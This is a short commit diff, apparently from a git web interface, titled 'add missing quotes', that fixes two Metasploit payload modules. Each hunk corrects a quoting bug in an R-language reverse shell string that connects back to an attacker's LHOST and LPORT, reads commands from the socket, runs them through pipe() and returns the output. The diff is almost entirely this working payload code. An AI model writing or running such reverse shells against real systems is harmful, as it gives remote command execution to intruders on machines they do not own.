add missing quotes
parent
edbe8d73c2
commit
031f48725f
|
@ -42,7 +42,7 @@ module MetasploitModule
|
||||||
def r_string
|
def r_string
|
||||||
lhost = datastore['LHOST']
|
lhost = datastore['LHOST']
|
||||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||||
return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
|
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
|
||||||
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
|
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
|
||||||
"(pipe(readLines(s, 1))),s)}"
|
"(pipe(readLines(s, 1))),s)}"
|
||||||
end
|
end
|
||||||
|
|
|
@ -38,7 +38,7 @@ module MetasploitModule
|
||||||
def r_string
|
def r_string
|
||||||
lhost = datastore['LHOST']
|
lhost = datastore['LHOST']
|
||||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||||
return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
|
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
|
||||||
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
|
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
|
||||||
"(pipe(readLines(s, 1))),s)}"
|
"(pipe(readLines(s, 1))),s)}"
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue